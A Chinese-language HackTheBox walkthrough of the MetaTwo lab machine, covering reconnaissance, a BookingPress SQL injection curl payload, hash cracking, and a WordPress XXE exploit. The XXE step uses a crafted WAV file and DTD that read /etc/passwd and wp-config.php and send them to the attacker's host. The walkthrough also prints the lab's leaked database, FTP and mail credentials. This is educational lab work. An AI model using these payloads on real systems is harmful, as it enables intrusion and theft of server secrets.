HackTheBox-Machines-MetaTwo

题目网址：

1	https://app.hackthebox.com/machines/MetaTwo

环境 kali windows11

1	目标ip 10.10.11.186 攻击ip 10.10.14.9

信息收集

利用nmap进行扫描端口

1	nmap 10.10.11.186

┌──(root㉿kali)-[/home/kali/Desktop]
└─# nmap -p21,22,80 -sC -sV 10.10.11.186
Starting Nmap 7.92 ( https://nmap.org ) at 2022-11-24 03:14 EST
Nmap scan report for metapress.htb (10.10.11.186)
Host is up (0.35s latency).

PORT   STATE SERVICE VERSION
21/tcp open  ftp
| fingerprint-strings: 
|   GenericLines: 
|     220 ProFTPD Server (Debian) [::ffff:10.10.11.186]
|     Invalid command: try being more creative
|_    Invalid command: try being more creative
22/tcp open  ssh     OpenSSH 8.4p1 Debian 5+deb11u1 (protocol 2.0)
| ssh-hostkey: 
|   3072 c4:b4:46:17:d2:10:2d:8f:ec:1d:c9:27:fe:cd:79:ee (RSA)
|   256 2a:ea:2f:cb:23:e8:c5:29:40:9c:ab:86:6d:cd:44:11 (ECDSA)
|_  256 fd:78:c0:b0:e2:20:16:fa:05:0d:eb:d8:3f:12:a4:ab (ED25519)
80/tcp open  http    nginx 1.18.0
| http-robots.txt: 1 disallowed entry 
|_/wp-admin/
|_http-trane-info: Problem with XML parsing of /evox/about
| http-cookie-flags: 
|   /: 
|     PHPSESSID: 
|_      httponly flag not set
|_http-title: MetaPress &#8211; Official company site
|_http-generator: WordPress 5.6.2
|_http-server-header: nginx/1.18.0
1 service unrecognized despite returning data. If you know the service/version, please submit the following fingerprint at https://nmap.org/cgi-bin/submit.cgi?new-service :
SF-Port21-TCP:V=7.92%I=7%D=11/24%Time=637F27F7%P=x86_64-pc-linux-gnu%r(Gen
SF:ericLines,8F,"220\x20ProFTPD\x20Server\x20\(Debian\)\x20\[::ffff:10\.10
SF:\.11\.186\]\r\n500\x20Invalid\x20command:\x20try\x20being\x20more\x20cr
SF:eative\r\n500\x20Invalid\x20command:\x20try\x20being\x20more\x20creativ
SF:e\r\n");
Service Info: OS: Linux; CPE: cpe:/o:linux:linux_kernel

Service detection performed. Please report any incorrect results at https://nmap.org/submit/ .
Nmap done: 1 IP address (1 host up) scanned in 87.46 seconds

同样的命令但是为什么和别人扫描的不一样呢下面是别人扫描的

现在知道靶机ip 80端口有一个域名 metapress.htb 然后将域名写入到hosts文件

1	echo "10.10.11.186 metapress.htb">> /etc/hosts

在浏览器访问域名

然后我们进行常规的信息收集无非就是扫目录子域名爆破

目录也没什么有用的东西

给你们说一款工具

Nuclei是一款运行速度非常快且易于使用的扫描工具，它可以帮助研究人员基于模板执行可配置的目标扫描任务，并提供了大量可扩展接口以辅助使用。

1	apt install nuclei

1	nuclei -u http://metapress.htb/

下载一个浏览器插件wappalyze

也能看到很多信息，现在我们知道这个网站的框架是WordPress，版本是5.6.2，我用searchsploitsearchsploit搜索了一下此版本的漏洞，需要登录后台才能用一个XXE的漏洞，既然是WordPress框架的，那就要用wpscan枚举一下

1	wpscan --url http://metapress.htb -e p,u --plugins-detection aggressive

看看有什么有用的信息

robots.txt found: http://metapress.htb/robots.txt
 | Interesting Entries:
 |  - /wp-admin/
 |  - /wp-admin/admin-ajax.php

admin
 | Found By: Author Posts - Author Pattern (Passive Detection)
 | Confirmed By:
 |  Rss Generator (Passive Detection)
 |  Wp Json Api (Aggressive Detection)
 |   - http://metapress.htb/wp-json/wp/v2/users/?per_page=100&page=1
 |  Rss Generator (Aggressive Detection)
 |  Author Sitemap (Aggressive Detection)
 |   - http://metapress.htb/wp-sitemap-users-1.xml
 |  Author Id Brute Forcing - Author Pattern (Aggressive Detection)
 |  Login Error Messages (Aggressive Detection)

现在我们知道了后台地址还有用户名

找找页面源码看看有什么泄露的

在这个页面发现了booking press框架，版本为1.0.10，通过搜索发现，这个框架版本有sql注入的漏洞

1	https://wpscan.com/vulnerability/388cd42d-b61a-42a4-8604-99b812db2357

该插件在通过 bookingpress_front_get_category_services AJAX 操作用于动态构造的 SQL 查询之前无法正确清理用户提供的 POST 数据（可用于未经身份验证的用户），导致未经身份验证的 SQL 注入

1	wpnonce:'18edc2ebbc'

然后用payload进行测试

curl -i 'http://metapress.htb/wp-admin/admin-ajax.php' --data 'action=bookingpress_front_get_category_services&_wpnonce=31bef7a194&category_id=33&total_service=-7502) UNION ALL SELECT @@version,@@version_comment,@@version_compile_os,1,2,3,4,5,6-- -'

将wpnonce 换成自己的比如我的

curl -i 'http://metapress.htb/wp-admin/admin-ajax.php' --data 'action=bookingpress_front_get_category_services&_wpnonce=18edc2ebbc&category_id=33&total_service=-7502) UNION ALL SELECT @@version,@@version_comment,@@version_compile_os,1,2,3,4,5,6-- -'

看到这个知道他是hash

进行爆破

1	john -w=/usr/share/wordlists/rockyou.txt hash

现在只爆破出了一个密码还是字典不够强大

1	账号：manager 密码：partylikearockstar

现在知道了账号密码它的端口不是还有21 22 80端口我们先一个个进行测试

530 登陆失败看来不是ftp

ssh也登录失败

只剩最后一个 80端口

幸好最后一个登陆进去了

通过前面对wordpress 5.6.2版本的漏洞搜索，发现了一个XXE的漏洞

1	https://www.acunetix.com/vulnerabilities/web/wordpress-5-6-x-multiple-vulnerabilities-5-6-5-6-2/

漏洞利用

1	https://github.com/motikan2010/CVE-2021-29447

根据文章的操作来进行先下载

1	git clone https://github.com/motikan2010/CVE-2021-29447.git

下载完成后进入下载目录

进入attacker/www目录

修改这个文件的ip地址

上面的ip地址是我自己的也需要填你们自己的记得要修改

1	vim evil.dtd

创建一个payload.wav文件

echo -en 'RIFF\xb8\x00\x00\x00WAVEiXML\x7b\x00\x00\x00<?xml version="1.0"?><!DOCTYPE ANY[<!ENTITY % remote SYSTEM '"'"'http://10.10.14.9:8001/dedsec.dtd'"'"'>%remote;%init;%trick;]>\x00' > payload.wav

然后创建一个dedsec.dtd文件，里面是我们的恶意代码，记得修改为自己的ip

1	touch dedsec.dtd

1	vim dedsec.dtd

1 2	<!ENTITY % file SYSTEM "php://filter/zlib.deflate/read=convert.base64-encode/resource=/etc/passwd"> <!ENTITY % init "<!ENTITY % trick SYSTEM 'http://10.10.14.2:8001/?p=%file;'>" >

1	make up-mal

进行上传文件

上传

返回kali

我们得到了一串base64编码，然后进行解码上面的工具介绍到如何进行解码

我们根据他的操作来走把得到的base64编码填入到decryption.php

1	vim decryption.php

然后进行解码

得到了靶机的/etc/passwd文件内容，现在我们获取一下网站配置，看看有没有有用的东西进入/www

1	vim dedsec.dtd

1 2	<!ENTITY % file SYSTEM "php://filter/convert.base64-encode/resource=/var/www/metapress.htb/blog/wp-config.php"> <!ENTITY % init "<!ENTITY % trick SYSTEM 'http://10.10.14.2:8001/?p=%file;'>" >

继续上传payload文件操作和上面一样，他会重新返回一串base64编码

然后和上面的一样，将这段base64编码放在decryption.php进行解密

<?php
/** The name of the database for WordPress */
define( 'DB_NAME', 'blog' );

/** MySQL database username */
define( 'DB_USER', 'blog' );

/** MySQL database password */
define( 'DB_PASSWORD', '635Aq@TdqrCwXFUZ' );

/** MySQL hostname */
define( 'DB_HOST', 'localhost' );

/** Database Charset to use in creating database tables. */
define( 'DB_CHARSET', 'utf8mb4' );

/** The Database Collate type. Don't change this if in doubt. */
define( 'DB_COLLATE', '' );

define( 'FS_METHOD', 'ftpext' );
define( 'FTP_USER', 'metapress.htb' );
define( 'FTP_PASS', '9NYS_ii@FyL_p5M2NvJ' );
define( 'FTP_HOST', 'ftp.metapress.htb' );
define( 'FTP_BASE', 'blog/' );
define( 'FTP_SSL', false );

/**#@+
 * Authentication Unique Keys and Salts.
 * @since 2.6.0
 */
define( 'AUTH_KEY',         '?!Z$uGO*A6xOE5x,pweP4i*z;m`|.Z:X@)QRQFXkCRyl7}`rXVG=3 n>+3m?.B/:' );
define( 'SECURE_AUTH_KEY',  'x$i$)b0]b1cup;47`YVua/JHq%*8UA6g]0bwoEW:91EZ9h]rWlVq%IQ66pf{=]a%' );
define( 'LOGGED_IN_KEY',    'J+mxCaP4z<g.6P^t`ziv>dd}EEi%48%JnRq^2MjFiitn#&n+HXv]||E+F~C{qKXy' );
define( 'NONCE_KEY',        'SmeDr$$O0ji;^9]*`~GNe!pX@DvWb4m9Ed=Dd(.r-q{^z(F?)7mxNUg986tQO7O5' );
define( 'AUTH_SALT',        '[;TBgc/,M#)d5f[H*tg50ifT?Zv.5Wx=`l@v$-vH*<~:0]s}d<&M;.,x0z~R>3!D' );
define( 'SECURE_AUTH_SALT', '>`VAs6!G955dJs?$O4zm`.Q;amjW^uJrk_1-dI(SjROdW[S&~omiH^jVC?2-I?I.' );
define( 'LOGGED_IN_SALT',   '4[fS^3!=%?HIopMpkgYboy8-jl^i]Mw}Y d~N=&^JsI`M)FJTJEVI) N#NOidIf=' );
define( 'NONCE_SALT',       '.sU&CQ@IRlh O;5aslY+Fq8QWheSNxd6Ve#}w!Bq,h}V9jKSkTGsv%Y451F8L=bL' );

/**
 * WordPress Database Table prefix.
 */
$table_prefix = 'wp_';

/**
 * For developers: WordPress debugging mode.
 * @link https://wordpress.org/support/article/debugging-in-wordpress/
 */
define( 'WP_DEBUG', false );

/** Absolute path to the WordPress directory. */
if ( ! defined( 'ABSPATH' ) ) {
        define( 'ABSPATH', __DIR__ . '/' );
}

/** Sets up WordPress vars and included files. */
require_once ABSPATH . 'wp-settings.php';

解密之后我们就得到了ftp用户的账号和密码

1 2	用户名：metapress.htb 密码：9NYS_ii@FyL_p5M2NvJ

登录ftp

1	ftp 10.10.11.186

发现mailer文件夹中，找到了一个有用的php文件，将他下载到本地

1	get send_email.php

然后查看send_email.php文件

<?php
/*
 * This script will be used to send an email to all our users when ready for launch
*/

use PHPMailer\PHPMailer\PHPMailer;
use PHPMailer\PHPMailer\SMTP;
use PHPMailer\PHPMailer\Exception;

require 'PHPMailer/src/Exception.php';
require 'PHPMailer/src/PHPMailer.php';
require 'PHPMailer/src/SMTP.php';

$mail = new PHPMailer(true);

$mail->SMTPDebug = 3;                               
$mail->isSMTP();            

$mail->Host = "mail.metapress.htb";
$mail->SMTPAuth = true;                          
$mail->Username = "jnelson@metapress.htb";                 
$mail->Password = "Cb4_JmWM8zUZWMu@Ys";                           
$mail->SMTPSecure = "tls";                           
$mail->Port = 587;                                   

$mail->From = "jnelson@metapress.htb";
$mail->FromName = "James Nelson";

$mail->addAddress("info@metapress.htb");

$mail->isHTML(true);

$mail->Subject = "Startup";
$mail->Body = "<i>We just started our new blog metapress.htb!</i>";

try {
    $mail->send();
    echo "Message has been sent successfully";
} catch (Exception $e) {
    echo "Mailer Error: " . $mail->ErrorInfo;
}